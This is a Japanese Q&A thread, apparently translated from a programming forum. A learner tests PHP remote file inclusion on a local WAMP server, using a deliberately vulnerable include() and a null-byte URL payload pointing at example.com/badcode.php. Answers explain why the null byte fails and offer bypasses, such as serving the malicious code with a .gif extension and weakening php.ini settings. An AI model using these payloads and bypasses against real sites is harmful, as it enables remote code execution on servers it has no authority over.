YouTubeで、標準のincludeコマンドを使用してリモートファイルまたはローカルをインクルードする方法についてのチュートリアルを見ています。
これがコードです:
<?php
if(isset($_GET["language"])) {
$language = $_GET["language"];
include($language."gif");
}
?>
私はこれをローカルWebサーバー(WAMP)で取得し、チュートリアルで実行するように指示しています。
localhost/inctest/index.php?language=http://www.example.com/badcode.php%00
警告:include():C:\に含める(include_path = '.; C:\ php\pear')の ' http://www.example.com/badcode.php 'を開けませんでした5行目のwamp\www\inctest\index.php
私のPHP.ini:
allow_url_include = On
自分のドメインを削除して、名前をexample.com
に変更しました。
私は何を逃したのですか?
Null Byte Poisoningはかなり古い脆弱性であり、5.3.4 PHPバージョン以降に修正されています。 リリース発表 :
Paths with NULL in them (foo\0bar.txt) are now considered as invalid (CVE-2006-7243).
PHPバージョンが正しいことが確かな場合は、allow_url_*
がphp.ini
で正しく設定されているかどうかを確認するために、パスにNULLバイト文字を含まないリモートリソースを挿入してみてください。
また、php.iniに次のディレクティブを含める必要があると思います:allow_url_fopen
を1
に設定する
これにより、fopenを使用してリモートURLをロードできますが、fopenを使用していないことを考えると、実際には適用できないと思いますが、それでも試してみる価値はあります。
また、register_globals
を試すこともできます。この変数は、URLパラメータを介してスクリプトに任意の変数を挿入できるかどうかを制御します。
[編集]
magic_quotes_gpc
をオフにすると、ヌルバイトインジェクションが発生しなくなる可能性があります。
これはリモートファイルに脆弱性が含まれているため、ヌルバイトインジェクションに依存する必要はありません。次のような.gif拡張子を持つ悪意のあるコードを提供するだけです:http://www.example.com/badcode.php.gif